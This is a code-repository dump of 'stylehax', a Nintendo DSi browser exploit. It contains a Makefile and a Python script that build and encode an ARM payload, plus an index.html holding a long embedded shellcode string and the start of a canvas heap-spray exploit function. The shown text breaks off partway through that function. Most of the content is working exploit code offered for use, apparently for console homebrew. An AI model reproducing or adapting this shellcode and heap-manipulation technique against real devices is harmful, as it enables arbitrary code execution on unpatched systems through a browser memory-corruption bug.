Full Code of nathanfarlow/stylehax for AI

main baf7ed83fb6f cached
7 files
59.5 KB
43.3k tokens
4 symbols
1 requests
Download .txt
Repository: nathanfarlow/stylehax
Branch: main
Commit: baf7ed83fb6f
Files: 7
Total size: 59.5 KB

Directory structure:
gitextract_x694ungz/

├── Makefile
├── README.md
├── build_html.py
├── index.html
├── payload.c
├── payload.h
└── template.html

================================================
FILE CONTENTS
================================================

================================================
FILE: Makefile
================================================
include $(DEVKITARM)/ds_rules

index.html: build_html.py template.html payload.bin
	python3 build_html.py template.html payload.bin index.html
	@rm payload.bin

payload.bin: *.c
	$(CC) -nostartfiles -nostdlib -DARM9 -I$(LIBNDS)/include *.c -o payload.elf -fpie -Wall
	$(OBJCOPY) -O binary payload.elf payload.bin
	@rm payload.elf

# payload.bin: payload.s
# 	arm-none-eabi-as payload.s -o payload.o
# 	arm-none-eabi-objcopy -O binary payload.o payload.bin
# 	@rm -f payload.o

clean:
	@rm -f index.html

================================================
FILE: README.md
================================================
# stylehax
A Nintendo DSi browser exploit. Put boot.nds on your SD card. Then, open the DSi browser and go to http://stylehax.net

See it in action [on YouTube](https://youtu.be/GywA40btJ6E)! Check out the [blog post](https://farlow.dev/2023/03/02/hacking-the-nintendo-dsi-browser) for the technical writeup.

## Thanks
* [melonds](https://github.com/melonDS-emu/melonDS) developers for writing such an accurate DSi emulator, including wifi capability
* [PoroCYon](https://github.com/PoroCYon) for writing a [gdbstub for melonds](https://github.com/melonDS-emu/melonDS/pull/1583), which was critical for debugging the exploit
* [shutterbug2000](https://gbatemp.net/threads/memory-pit-a-new-dsi-exploit-for-dsi-camera.539432/) and [zoogie](https://gbatemp.net/threads/memory-pit-a-new-dsi-exploit-for-dsi-camera.539432/page-18) for memory pit source
* [yellows8](https://github.com/yellows8) for [reference material](https://github.com/yellows8/dsi) and debugging help
* Martin Korth and others for [these amazing docs](https://problemkaputt.de/gbatek.htm)
* [Fullmetal5](https://github.com/Fullmetal5) for str2hax canvas idea
* Many others


================================================
FILE: build_html.py
================================================
import sys


def make_payload_string(payload):
    assert len(payload) % 2 == 0
    pairs = zip(payload[::2], payload[1::2])
    return '\\u' + '\\u'.join(f'{b:02x}{a:02x}' for a, b in pairs)


if __name__ == '__main__':
    template = open(sys.argv[1], 'r').read()
    payload = open(sys.argv[2], 'rb').read()
    payload_string = make_payload_string(payload)
    html = template.replace('{REPLACE_SHELLCODE_HERE}', payload_string)
    open(sys.argv[3], 'w').write(html)


================================================
FILE: index.html
================================================
<!-- stylehax by nathan 2023 -->
<!-- https://github.com/nathanfarlow/stylehax -->

<html>

<head>
   <title>stylehax</title>
   <style id="style1">
      @media all {
         .test {
            color: green;
         }
      }
   </style>
   <script>

      var shellcode = "\u4800\ue92d\ub004\ue28d\ud008\ue24d\u3622\ue3a0\u300c\ue50b\u3000\ue3a0\u3008\ue50b\u000b\uea00\u3008\ue51b\u200c\ue51b\u3003\ue082\u1064\ue59f\u1001\ue08f\u2008\ue51b\u2002\ue081\u2000\ue5d2\u2000\ue5c3\u3008\ue51b\u3001\ue283\u3008\ue50b\u3008\ue51b\u2040\ue59f\u0002\ue153\uffef\u9aff\u3038\ue59f\u2000\ue3a0\u20b0\ue1c3\u3030\ue59f\u2000\ue3a0\u20b0\ue1c3\u300c\ue51b\ue00f\ue1a0\uff13\ue12f\u3000\ue3a0\u0003\ue1a0\ud004\ue24b\u4800\ue8bd\uff1e\ue12f\u0070\u0000\u158f\u0000\u006c\u0400\u106c\u0400\u0301\ue3a0\u0208\ue580\u1038\ue59f\u1f10\uee01\u0000\ue3a0\u0f15\uee07\u0f16\uee07\u0f9a\uee07\u1024\ue59f\u2024\ue59f\u3000\ue3a0\u0002\ue151\u0002\u0a00\u3004\ue481\u0002\ue151\ufffc\u1aff\u005b\ufa00\ufffe\ueaff\u2078\u0000\u1590\u0220\u1630\u0220\ub5f0\u2400\u2780\u0022\u2601\u4d0d\u007f\u882b\u3901\ud204\u2c00\ud000\u802b\u0010\ubdf0\u2b01\ud104\u6803\u3b01\u6003\u781b\u433b\u001c\u0052\u4034\u4322\u0412\u0c12\u085b\u0034\ue7e8\u46c0\u1590\u0220\ub5f7\u2400\u000f\u0025\u3801\u9001\u4e42\u7803\u8033\u230f\u421d\ud100\u2401\u1cb3\u006a\u52d4\u2104\ua801\uf7ff\uffca\u0033\u336a\u54e8\u2301\u4083\u18e4\u0424\u3501\u0c24\u2d34\ud1e9\u2101\ua801\uf7ff\uffbb\u0605\u0e2d\u2400\u2d01\ud104\u002c\ue012\u3401\u0424\u0c24\u2101\ua801\uf7ff\uffad\u2800\ud0f6\u2c10\ud053\u2c11\ud119\u2110\ua801\uf7ff\uffa3\u2501\u0004\u0023\u003a\u3a01\u2d00\ud043\u9901\u3901\u9101\u7809\u3b01\u041b\u7011\u0c1b\ud1f3\u3c01\u0424\u0c24\u43e4\u193f\ue7cd\u0062\u1cb3\u5ad3\ua801\u9300\u0033\u336a\u5d19\uf7ff\uff83\u9b00\u181c\u0424\u0c24\u2c01\ud007\u2c02\ud01c\u2104\ua801\uf7ff\uff77\u3010\ue004\u2102\ua801\uf7ff\uff71\u3030\u0400\u0c00\u0042\u1cb3\u5ad3\u9300\u0033\u336a\u5c19\ua801\uf7ff\uff64\u9b00\u1818\u0403\u0c1b\u9300\ue7bc\u2104\ua801\uf7ff\uff5a\u3020\ue7e7\u9900\u5c51\ue7bc\u0038\ubdfe\u46c0\u1590\u0220\ub5f7\u22a0\u4b58\u4c59\u4859\u04d2\u6013\u2707\u6023\u4684\u2300\u4a57\u4957\u0008\u3808\u600b\u6003\u1f08\u6003\u1e90\u8013\u8003\u0038\u4350\u4d52\u4e53\u1945\u1980\uc508\u4285\ud1fc\u3204\u310c\u4562\ud1e9\u4a4f\u494f\u6013\u4a4f\u6013\u4a4f\u7013\u4a4f\u7013\u4a4f\u8011\u2103\u4a4f\u7011\u4a4f\u494f\u8011\u4a4f\u4950\u6013\u2201\u4b4f\u4252\u601a\u4b4f\u880a\u421a\ud1fc\u4b4e\u4a4e\u4669\u601a\u22a0\u4b4d\u04d2\u6013\u6023\u2304\u4d4c\u3106\u802b\u4b4b\u885a\u800a\u4a4b\u0010\u8817\u880e\u42b7\ud0fb\u881a\u3201\u0412\u0c12\u801a\u2203\u802a\u885a\u800a\u8805\u880a\u4295\ud0fb\u881a\u210f\u3201\u0412\u0c12\u801a\u4a3f\u0015\u8813\u400b\u2b01\ud1fb\u22a0\u4b3d\u04d2\u6013\u6023\u2380\u4f3b\u4e3c\u0039\u7033\u483b\uf7ff\ufef7\u4b3b\u1a39\u18ca\u1840\u1a57\u1a43\u2900\ud12b\u2382\u7033\u238e\u4a36\u049b\u601a\u22c0\u4b35\u04d2\u601a\u23f0\u22a0\u005b\u04d2\u6013\u2284\u6023\u8829\u4b31\u0192\u4019\u430a\u802a\u220f\u8829\u4211\ud1fc\u882a\u401a\u2380\u019b\u4313\u22a0\u802b\u4b2a\u04d2\u6013\u6023\u4a29\u4b29\u601a\u4a29\u6013\u4798\u881b\u3902\u803b\ue7cb\u46c0\u01ff\u0000\u0400\u0500\u0112\u0400\u0102\u0400\u00b8\u0400\u39f6\ue800\u3a12\ue800\u0240\u0400\u820f\uffff\u0244\u0400\u0248\u0400\u0249\u0400\u0304\u0400\u0247\u0400\u0204\u0400\ue880\uffff\u0210\u0400\u0184\u0400\u0214\u0400\u4002\u0000\u0188\u0400\u000c\u0004\u03ff\u0000\ufc28\u02ff\ufc24\u02ff\ufc26\u02ff\u0180\u0400\u7c1f\u0000\u0000\u0220\u0242\u0400\u158c\u0220\u0000\u0684\uf004\ue51f\u0004\u0238\uf0ff\uffff\u3fef\u0000\uf018\ue59f\ufe04\u02ff\ufe24\u02ff\u0080\u3e07\u4fea\u7c68\u1f12\u8f8c\u4bd6\u1405\u60e8\u9c0d\ufd03\u0838\u1029\u1814\u578a\u12b3\u8875\ua803\uea13\u0780\u511f\uf0c1\ue129\ud087\u90ca\u78d2\u5b4e\udea3\u05fe\u463b\ufa26\u0368\u63ef\ueb85\u8fdf\u8fb3\u1e4e\u121c\ue081\u7e02\udfd1\u1b14\u329c\u3bd5\u5110\ua7e2\uf8fc\u02c0\uf544\uea03\u4696\u8324\uf4e0\u2133\ud0cd\ub112\u414e\ua276\u78e8\u538e\ufbe2\u1b7f\u9b19\ufff0\ufeca\ua091\ufd49\uf201\u1fca\u1a4c\u5986\u0692\u0489\uaa06\u39fc\ue058\u6c7c\u52b8\u2433\u75b4\u14b2\u8eb0\ud1c4\ubc48\uc0a4\ub675\ub414\ud08e\u48d1\ua4c8\u75cc\u14ba\u8eb8\ud1dc\ud448\ud8a4\ued72\u29be\u30bc\u6b1e\u9235\u214e\u47ea\uef18\u9f2d\ua919\u1080\ue381\u1240\ucd3f\u9778\u8db5\u31dc\ufaca\u2002\uc893\ubac0\ud659\ufcc2\u39b0\uaea5\u7bf8\ub458\ubf1c\ua754\u4029\u418a\u4345\u4422\u4891\ua445\u5246\u2948\u1c49\u34b5\u334f\u2c1d\ue282\u10b4\ue1c2\u037f\u47e5\uc331\ufd6b\ud724\u20ec\ufbcf\uf291\u301c\ud33e\u8b19\ubee5\u032e\u5643\u4988\u5838\u820f\u1968\ubf8e\ub50d\u6cf8\ua0ef\uf733\ub64c\u8f50\u0858\u8322\ueba7\uc11e\u48e7\u3710\u19a3\ue541\u207d\ubdd3\ua352\u82c2\ua04a\ub6e7\ud2af\ubfe1\ub66f\u240a\u9f20\u040f\ucb30\uf652\u3ffc\ub98e\u1ab7\u34fd\ue31d\u31db\ue5af\ue00f\ua057\ue513\u9ff5\u8efe\ufc43\u7523\ue86e\u2221\u1ec1\u0322\uab32\u73cd\u6623\uccd4\uc458\u37f2\uf19a\u2fc6\ua18a\u57f0\uc3d7\uac74\u3efe\u5330\u01b6\uf91a\u99f0\u9f5b\uf0e1\u9f9c\u0304\u66cd\u4b67\u1ed6\u2067\uab4d\u0364\uaede\u7d67\u3529\u0ced\ub503\u0500\u380a\u2dbb\u727b\ue439\u84b1\u87d0\u1e9e\u6fa5\u4028\ua8df\u8a25\u911b\ued2d\u2091\ub99e\u185c\u2680\u2e1e\uae42\u1ef1\u0e88\u3ce7\uf153\ua7ed\u91e7\u5589\uc292\uf1e7\uba71\ue875\ucfdc\u293a\ufa31\ued4d\ued4a\u712d\u799d\u5434\u6719\u4350\ud1d6\u1ca4\ud4a4\u2548\ue509\ue420\ud718\ub9ae\u03ea\u8434\u7e43\u0f55\ue8ce\ua3dc\u07c7\ud50b\u6f14\u154e\u364b\ub9f8\u2e57\ueb19\u199b\u181b\u9f83\u9c43\ue942\u1cd2\u8d72\u71e8\u38ff\u0f4b\ue5bd\u682a\uf1c7\u0f99\u6b36\u10f0\u1452\u283b\u2ca2\u4891\ua438\u753c\u7d01\u12ee\ucc07\ufb51\u705c\u6a0e\u7267\u61e3\u735f\u2fff\u9f24\u9401\u4a27\u3795\u7426\u8166\ue25c\uffdc\uc6ef\uf83d\ucfd1\u0074\u3001\uc90e\u0f34\ub493\ubff0\u33f9\ubbfd\u4523\u2512\uf332\u425b\ue9ab\u2214\u5593\u7131\ub2fd\u8006\ua9e7\u57a8\u24c3\u74c4\u6846\u94b3\uce9c\uad90\u7095\u2135\ua1b3\u6b06\ue746\udeda\u711c\u2a7c\u30a9\u3e31\u1135\ua3c4\u24f2\udc78\u5319\u5b40\u07bd\u37d1\u1e6a\u98bd\u4ad6\u73e0\ucd73\u8206\u5889\u3ae5\u7030\ue722\u491c\ue7f4\uc7ff\u0512\u8228\u4ab8\u45b0\u23b4\u02a8\u45a4\uc4b4\ubc52\uc029\u061d\u2145\ud02d\uc8a2\u4891\ueacc\u290a\u1d08\u0ea3\u36c3\u0ea0\u0c29\u1a01\u4a10\u4714\u8283\u1ac9\uf193\u0312\u565d\ufc80\uac78\u23b8\u53db\udfae\u01b0\u5b3c\ubd50\ua84b\uf2e3\u4e3c\u9e0e\u9d10\u9f11\uff0d\u9a0a\uc5fb\u980c\u3f3c\u3b53\u329b\u4517\u8e28\u398b\u1efb\u6c9b\u9abc\ubdf1\u638b\u7844\ud993\uaa02\u213b\u1c95\u1d91\u4acd\u1ad8\ue4b3\ufc2a\uf1db\ud858\u532b\ufe6d\u059b\u1f03\uf1d5\uf0e9\u895b\u3a2e\uf148\ufbef\u521c\u2c4b\u1759\u9c6c\uca44\u5537\u8752\ub306\ub615\u12f6\u7239\u7491\ub107\u2dfb\u0595\u2bd0\u3af1\u7462\u8d72\u1678\u5ffa\u13e4\u77e0\u4533\u85d4\u23d8\u3ce4\uc1dc\ue68e\u295c\u3c84\u00f6\u1ae0\u4ad0\u45cc\u22d8\u91dc\uc048\uc8a4\u73e1\u22bb\uc70c\u5d57\u0b9e\u94a7\u79c0\u2964\ud5d1\u8813\u2bbf\u16fd\u5624\u60b2\u4f3a\u4912\uad3c\u633f\u0f63\u3cf8\uf03d\u6308\u0624\ub7f2\uc4f4\u5b2f\ufdfb\u3483\ue549\ud9b1\u3bbc\u319f\ub570\u224d\u25ab\uac71\u611a\uda93\u4a49\u9a49\ud260\u2635\u4696\u3f43\u4198\udbba\ud3f8\u04e6\u73d1\ucfae\u2040\ub34a\u933d\u0542\u6fd9\ud11f\u8adc\ue05c\u79f9\uf04e\u7f7f\u4c48\u4db9\u79d2\u7b1d\ue76a\udce0\u4980\u6b1b\ude4a\ude48\uf21a\ufdd8\u2b1a\u1762\ud0fc\u148f\ufe7a\ufcba\ue916\u10a7\uc748\uc2e4\ufefd\u592c\ua460\u12ac\u4d1a\uf706\u708c\ucaf6\ue735\ud21c\u3b20\u19a3\u8597\u227f\u9183\ub4bd\u08c2\u7447\u79fc\ue4ec\u137a\ue1d0\u4924\uaff5\u88f0\u7049\u3413\u9c6c\uf818\uf5a6\ub52b\u4f63\ud84a\u01df\ucf21\ud98e\ucffa\u4a77\ubb83\u0468\u820c\ua31e\ub610\uc958\u4439\u33c7\u8734\uc0e1\u7bf3\u2978\u7839\ub5a7\u9204\uca8c\u51b6\u39aa\u0fe6\u2b01\ud11f\u1f03\u2a25\u62f3\uae7c\u2e41\u0a96\u18f6\ub43e\u0595\ucef3\u20ff\u4f4f\u0ded\ufe7b\uf2a6\u35f1\u5455\u429d\uc1f2\u6625\u30f5\u5ee6\uffc0\uc778\uc25d\ud93c\u095a\uf8c0\u7298\uc115\u1505\uac0d\u1273\ud999\uc048\uab06\uabda\u24ff\uac70\u9e64\ucfc7\u980e\u4298\ud9ea\udf0d\ue848\u09e7\u80f9\u68d9\u0a52\u8f9b\u4665\uff9b\u237f\u7d1c\u4bf1\ueca4\u5974\u011b\u095d\u33a0\ud837\uecd9\ufbfb\uc724\u700d\u5739\u0ef6\ue35a\u782a\u616e\ub33b\u2b19\ud802\ucff6\u1dcc\u570e\uf023\u37b5\u09b4\uaec9\u7823\uff99\u1e06\ufb0b\u0fd0\ude32\u7ffe\u7556\u834b\ue29b\u4d0f\u1ffa\uef7d\uf3cd\u72e7\u6f4c\u3685\u383c\u0f37\u380e\uc303\ud01e\u8503\u3252\u8c46\u6c0a\ua353\u4128\udcf2\u96d1\uae2a\u2b4e\u542e\u7b2b\u95bf\uff36\u5b21\u1d72\u5ce2\u80e3\u522a\uacfe\u5d18\u1fe2\u04d5\u26cc\u7a9f\u043f\u19ef\u7f38\u5cb9\u6737\u225f\ue6a2\u58b8\u4ae1\u5aa5\u3de3\ue1ee\u7e7c\u55a5\u49f6\ud069\u6678\ube52\u7e54\u86f7\u999d\u5c61\ude61\ue21b\u00d8\ueb4b\u64dd\u6c12\u4850\u9f5b\uac03\uece5\u7ba3\u022d\u5f1d\ueded\u68ed\u3b4c\ue14f\ufb39\u6d67\u9823\ub6d5\u1953\u6961\u763e\u62a0\u7cc5\ub3d0\uf221\uc009\udeb6\u2af3\u4060\uceb9\u9a0d\u48ec\u44ff\u454a\uff4b\u9d05\u0177\u1a22\u3e70\u4325\u0349\u479e\u8df7\u21be\u5979\ue7e7\u428b\u4fa6\u1be1\u1263\ue885\ud9d3\ue844\u630d\uff66\ud28b\u2fef\ud10a\u1027\ue333\ufb5c\u9e9b\u3ed0\u5bd5\u6c45\ucbdf\u94fb\ub224\ueff9\u7de5\ua1a0\u63f9\uc98b\uc31b\uef1e\ued3a\u3c1d\u1930\u08fd\u3331\uc2d0\u8e0d\ua0e7\u63e7\uc08b\u171b\u3992\u1c68\u043e\u4718\u1ddd\u7fdb\u063e\u4356\ue986\u904a\uf54f\u3799\u9232\u7203\u96b2\ubea9\u2d29\u4e32\u2cac\u12b2\u8e02\u2e50\u04ca\ufb12\u2f31\u684d\u4db9\u0bdc\ua760\uf3d0\u2834\u9f33\u23a8\ubb78\u23c7\u3c66\uf5bd\uf917\uad0f\u1322\u0140\u5a9a\u5543\u19ff\u603d\ue710\ud6ff\ud9e1\u233c\u48e4\u387c\u828f\u28e0\u4052\u9c3f\u0e2c\ua10f\u24c5\u9c3a\ufff4\u330d\u51b5\u498e\u8e8f\u6a05\u2790\u70fb\u0fe9\ua567\u2c70\ud297\ud42d\u6ba5\u2b2e\ud1f8\u3f48\u169b\ucc1d\ud66f\u041a\u463e\u30ba\u0307\u3667\u4af4\ueafe\u21ad\u995b\u4a66\uae2e\u6458\u0286\u9862\u2b10\uf119\ub03e\u018b\ubb37\u3b8f\u2cd1\u4c8b\u3dd0\u5085\udac3\uc34b\ub718\u61cd\ue668\u318b\u4e3a\u2927\ub399\ud802\ue719\u2671\u8c9b\u09bd\uc25c\u4b64\ue6e4\u2220\u219b\ua8a2\ueab3\ufe0d\u23cf\u7ae0\u2f18\uc540\u0328\u6307\udc05\u0f75\u1894\u9a5c\u8b57\u2b06\u04c6\u7d6f\uda8a\u27b6\u4fd1\u7626\u0c7a\u06d0\ub3aa\ud87c\u2eb5\u798c\uf7fe\u059b\ucc5d\u4665\u307d\u2e04\ufdf0\u1b7f\u4e78\u789f\u738f\ub052\uc336\ua8d1\ud0a6\u8933\u2dff\ud1bf\u554f\uf913\ub54a\u6812\u179b\ud81a\ud139\u6cb8\u3902\ub492\u06ef\uf0ab\u7d5c\u55b3\u05fe\u4d3f\u9b5d\u011a\udd36\u5842\u7741\u73c0\u7817\u6ed0\u60ef\u2362\ud87d\u1433\ua2e3\u7ec5\ub2b6\ufe37\u43e0\ue764\uaf38\u3448\u30a4\u387c\u1b01\u3026\u2c38\uec77\u8563\ub039\u9003\uf80d\ua916\u3963\u4ded\u73d0\u994b\u904b\u7fd1\u41e0\u4fcf\ud210\u29c5\u4de1\u6f04\u462c\udc93\u6839\ufe30\ude5b\ua81e\u994c\ud90a\u35aa\u99ca\ue60c\u05f1\u8396\u0df6\u3ef1\u34bd\ucd92\u2f91\ud90b\u1b93\ufb3e\u3fcc\u6bcd\u6c8d\udedb\u6743\uf6c8\u1ecd\u5f40\uda1a\u5e17\u2a05\ud30d\u5b18\u12ef\u01f0\ub5b3\u29b8\u02d6\u9e9b\u15fd\u78d2\u8a3b\u8e67\ua601\u5850\uc37b\u9357\u6a3b\u21fd\u4f4a\uc633\u1b96\u9afb\u4293\ud132\u7f1e\u1635\u8ea9\ubdc3\uf073\u7650\uc3fd\ucd3c\ub0ad\ub131\u98bb\u8119\u32ec\ue7c5\u1667\uf94f\u4ea3\udc04\uf4ee\u3767\u2492\uc305\u683b\u7401\u9f82\u423d\ua5dd\u281f\u9bc5\u4e1e\u03fd\u9a3f\u0d6f\u204b\ud16e\u3969\u696d\u18f0\u9ff8\ue49b\udbaf\u7f1b\uaf02\uf6c3\ub319\uc6b1\u5cf2\u1ced\ud1ca\uc467\u28c7\uc725\udee7\u0fe9\u8d28\u9920\u2544\u41b2\u81de\uf118\u4fed\uda88\u7836\ud483\uadea\ub6d0\u4937\u4008\u4f10\u228c\u9718\u83d5\u59c9\ue343\ucfca\u5d53\u86e7\u55f0\ub889\u4a02\u8de7\ud0c5\udc6d\u2103\ub510\ud3f2\u9fdf\u8bab\u014e\u5e6b\u9c69\u02e6\uadf0\u8d57\uffd4\u6ae3\u08cf\ufa4a\u079c\ud8e1\u09a5\u4333\u44d3\ue710\u68d9\u8813\uba38\u0c5b\ue7f7\uc9f9\u0318\ub5f0\ucbc3\u8d03\ufeb0\u050f\u45dc\u9b79\u071f\u8023\uc8d7\u400b\u9308\ufec0\uc66b\u4219\ube03\u19c7\u1c9c\uaf77\u9694\u748b\u7a4d\u2fac\ue500\ue4ec\uf201\u40ee\ufc55\ud1d1\u0171\u234c\uf2e2\u6a13\u4d9e\u751b\u6a2b\u126f\u1af5\ud6eb\u6e49\u094b\u190c\ue7bf\u4364\u5f68\u0194\u5e93\uefb4\uaae9\ua9f2\u2df3\u42e4\u415a\u9206\u2b5f\ubefa\u3a95\ua97e\u4f8a\uad65\u958d\uae0a\uf171\udd25\u76dd\u4e2d\ue642\uab07\u3603\u961e\u3d30\u5f2c\u5c7a\u5e0f\u8e49\u2842\ubfd9\udf06\u310e\ud6d0\uf796\u583c\ub4aa\ud09e\u1068\uc1c3\u91f6\u2a2c\u1158\u69e0\u55ce\u7f4c\ue6a1\u198e\u64f3\u88f6\uf64d\u3102\ub173\uf942\ufad1\u3ad2\u9942\u034a\u4d31\uccbc\u286b\u0e4b\u82b2\u0aba\uc9a9\ud979\u4221\u23d3\u08d1\ufc99\u2029\u9fbc\u1a2d\u7ad0\u4588\u26bb\u3039\u7e4e\u493e\u12ed\u4ed9\uf424\uafa8\u1c7e\ufa19\u3b94\u104e\u34c9\u0960\u9cff\ue98c\ue3a3\u3961\ua44c\ucf46\u5b98\u7318\u6199\u44cb\ud301\u3855\u1b4e\u4031\u80fa\u91cd\u3733\u3b4a\u4211\ud02f\ua7fe\u6882\u4c73\u7360\ucd4e\u3983\uc346\u81dd\u3cb6\u66e2\u3be8\u0580\ube9b\ue73a\u5cd0\u2ea6\ud08c\u3503\u9ab2\u332d\u2d40\u295b\ua32b\u8334\u640d\u9c1a\u4b2a\ua7b8\u671b\u3c5c\u61c3\ub00d\ufff0\u0aa6\u83aa\ue692\ucc52\u55d5\u67e7\u0499\u9a8b\ue212\u0188\u0ecb\u6b42\ub984\u51ac\u0307\u1fd5\u84d2\u5d68\u814b\u3a60\u0a07\u8ac9\u5f42\u40ab\ub8e6\uf62e\ue31e\uc0d1\u1cd8\u48e1\u0649\u9022\u0ddd\u5b44\u1b40\u710c\u30cb\ufdb1\ufe17\u1aa9\ufd76\u3b1e\u807f\ue983\ub20c\u910e\u1048\u12a4\u1452\u1629\u1814\u1a8a\u5647\u63c7\u4795\uec79\ub309\u22b6\ucf25\u8348\u2b2e\u2c4b\u9c37\u8342\u17c2\u2e82\u6251\u6302\u287f\u274c\u4097\ue493\uf527\u21aa\u8e7a\u4926\u6c9c\udaac\ua125\u4636\ue62c\ucf0c\u9431\u24c8\uafdc\u6fa3\u420b\u20d5\u4bb9\udcce\u01e2\u6623\u9492\ue11f\u319e\u2aaa\u82a5\u4b28\u9a53\u1c4a\ud51d\u65a3\u353a\u23db\u4e1b\ucb4f\uddae\u6335\u671a\u632e\u6333\u2603\u7e2b\ubf19\ub5b2\u1ded\u48ed\ud52c\u184d\u174c\ud525\ub488\u9743\ua41c\u7219\u6d4b\ub9f2\u512a\u74fe\u0136\u79bc\uad6d\u5b04\u09a2\u2281\u9e74\u3502\ud87a\u429d\u1c49\ue06b\u2085\ue423\u031d\u227e\u7f4f\u8391\ufcea\ufe94\u028a\u2445\ue423\u40ee\u2861\u4825\ua426\uae78\ub570\u4c5b\u431f\u0c1f\u83e2\uee23\ub9f0\u3ff9\u11b3\u380e\ud5a3\u9b22\ude55\ub293\u32f4\u9d32\u0731\uca80\u05db\u401d\ue6fd\u7150\u2758\ud11c\u4f4a\u2a49\u7f43\u21c6\ua61e\u07db\ud5f0\uc33f\ued2a\uebda\u0f9b\u48e5\u022b\ubdd0\u55e4\uaa1e\udf41\u8171\u4662\u8e7f\u7f22\u430d\ufba2\ufa2a\u5704\u1303\u6740\u6870\u4116\uba83\u01f4\u3efe\uf3a6\u0c1f\u1a69\u220c\u3d62\u1249\u82ff\uf650\u9860\ue840\ua2d1\u927f\u7f09\ua43a\u522a\u01d0\uf826\u3025\ub0ef\ua663\u135f\u1ca7\u33d2\u74a6\u0ce1\ud3e4\u181d\ue829\ud8c0\ucace\u9d41\uf91c\u769a\ua9e6\uca62\u99cf\uc1c8\u2333\u286a\u1abf\uef04\uc6c6\ua3c3\u2bbb\ubb42\ueeb8\u2680\uf1b6\ud862\u491e\ubce4\ucbb3\u6328\ud1ae\u6a3b\u1ebd\ua6ce\uf062\uc732\u2106\u22f3\ue07e\u33e3\ua024\u92de\u9b9e\ubfb9\ueaa6\u99b3\u262a\uc97d\uf909\u0243\ubc32\u0f74\uec21\u7e62\u5199\u6393\u0a5b\u7fac\u233f\udfe2\u402a\ubba3\u231a\u7d63\u5712\u43ba\u1b66\uf39b\uf30c\u78ee\u50e9\u3724\u8376\u2da7\u5969\u026c\ue493\u7503\u0609\u071a\u4d05\u2546\ub223\u0410\u2a47\ub5f8\u4c13\u63cf\u066a\u6ef1\ua389\u3c22\u46d1\u5702\u9bce\ufd48\u22d3\u868b\u4b0d\u52f3\ub3a8\u042b\u1bae\u4bc9\u0c14\ud589\u72bc\u4a0b\u026d\u13af\u2080\u32f1\u2e4d\u2749\u6571\uff60\u54f7\ua0fd\u687f\u0740\u0fc0\ufef8\u74ca\u1ce8\ue319\u082d\u2145\u2a49\u480a\ud94f\u3c12\u459a\u337d\ue69e\u874d\u20ad\u4841\ua430\u5240\u2950\u1f60\u7026\u3a29\uf985\u063f\ue248\ufe0e\u3101\u8998\u71fb\u0630\u6e84\ua92c\uf6cb\uc590\u02e5\u192f\u7777\u1af4\u95ab\u8abb\ubac6\u94e3\u532e\u9907\u7d49\ua8d3\u092e\u5868\ufcee\u5168\u57ba\ufe6c\u91b9\u4008\u1dc3\u6b66\ub40a\ued58\u61bc\u8fc0\uffe2\u9c07\uffe8\u30d2\u020f\uc547\u031f\u503c\ub42f\u3f70\u9f05\u4f10\u742f\u525f\u6f13\u1469\u347f\u8f16\u179a\u4f9f\uaf68\ufa09\ub0c3\ua412\u7215\u116b\u190f\u2fee\ua420\ud84c\u09d1\u9bb3\u602d\u67dd\u0490\u07f9\ue54c\ub48b\u2d07\u72c0\uebd3\ud200\u05ea\udbec\udfe2\u21f0\uf53f\u95d0\u11da\u1c8e\u586b\u46a6\ue2e1\u010f\uee3b\ud9e5\ud320\u4233\u2ed3\ub920\ue28a\u26b5\u7b81\u741a\uc858\u4d34\u3bfe\uf018\ucdd3\u7942\u5c48\ua812\u158a\u8b11\u054c\u7333\u4904\ua42b\ued35\u4908\uea1b\u3d1d\u1742\u9df0\u0a02\u685a\u0354\udfa1\udcc5\uff0c\u4c03\u4944\u0817\u3849\u1400\ub4ab\u11f3\ued70\u8161\ud5c3\udb88\u3a9e\u334e\u0f22\u2307\uc103\u09c0\u6407\uc139\u0be0\u0383\u3281\u68f0\u5c00\u831c\u0f30\u8183\u831b\u418d\u03ed\u5047\uf493\u7f00\u6c44\u2d53\u5a41\uda8d\u9984\ubbe1\u4076\ua320\u8278\ubfa1\u2398\u7c32\u021a\ud601\u4863\u0312\u987e\uec13\u007c\u1f30\u318e\u003e\ue019\u8613\u273f\u03f8\uc0c9\uf2bc\u006c\u7070\ued43\uc01d\ue05a\u61a8\ued39\u51bd\u27e2\ue83f\u49b0\u30e8\u0bae\u9831\u7c26\u9d9a\ue18c\ueb28\u0a50\ucf0e\u5db2\u1181\u8cbc\u9058\u5936\ud313\u6dd2\u0bd8\u5212\u7522\u83dd\u9ff5\u70ac\u81b3\u2d10\u2782\u3159\u9efa\u3a46\u9873\ue5e3\u3da8\u02a8\u32ea\uf4eb\u7f30\uc646\u9605\uada1\ued46\u5d46\ue166\u31a1\u2043\u01a2\uff80\uca0d\u7b53\u0522\ue5b0\u11cc\uc7ef\u1abc\u73ce\u200d\u1d3c\u0167\u9991\u0fcc\ud8a7\u972e\u0380\u4c7b\u3e3b\u18da\ua63c\u23e4\ud991\u33ba\u0c01\u14fa\u088e\ud429\u7510\u1209\u217f\uf272\u0422\u4c7a\u5203\u25a1\u8220\ufe90\u4f5c\ueb33\u60ed\u42a1\u30f9\ue01f\u4662\u69e1\u2950\ue0ec\u93c3\u0102\ub3a0\ufe32\u6d27\ue351\u8ff7\u0ae4\u96d6\ub1e9\u9266\u06eb\ubd40\ue8cf\ue392\ubf4c\u4110\u1ee0\u8d7e\u8e70\uf0ab\u0fb5\u392a\ud91f\uf20d\u4305\uf10c\u6a03\u07ad\ud137\u0015\u3dff\u092d\uaf2e\u1801\u36a5\u279d\ue51f\ucb67\u975f\u2ea7\u5c9f\u68e7\u60df\u33be\u3410\u2fb3\ucc42\u240f\u3566\u012d\u4997\ue514\u4540\uf519\u1f2c\ubcd9\uce74\uee58\uf850\ue633\u6cdb\uf92e\u03d8\u04bf\u773c\u9708\ua434\u1a76\u2d40\u09d7\u8b19\u37f5\u57d0\ucc23\uec5c\u0154\u7f33\u4293\uf9fa\u02bb\ubc45\uff08\u1a79\uf32a\ufed1\u4e05\u5cf0\u0022\ue7f8\uc8bf\u5711\u3d90\u7af9\u8303\ucc1b\ufea1\u82ee\ue59f\udf1c\ue12f\u3715\u78c1\uc047\u8f46\uf27b\u90ea\u4280\u4fd0\u2e54\u444e\ubf53\uffa8\u17d8\u0027\uf306\u2411\ub947\u8b9a\u1033\u0d20\ub965\ub198\u1022\u0120\u2901\u2210\u0002\u0400\u11d4\u0000";

      function exploit() {
         var canvases = [];
         var N = 0x480;
         var obj_size = 0x50;

         // create a bunch of canvases for heap magic
         for (var i = 0; i <= N; i++) {
            var a = document.createElement("canvas");
            a.width = obj_size / 4;
            a.height = 1;
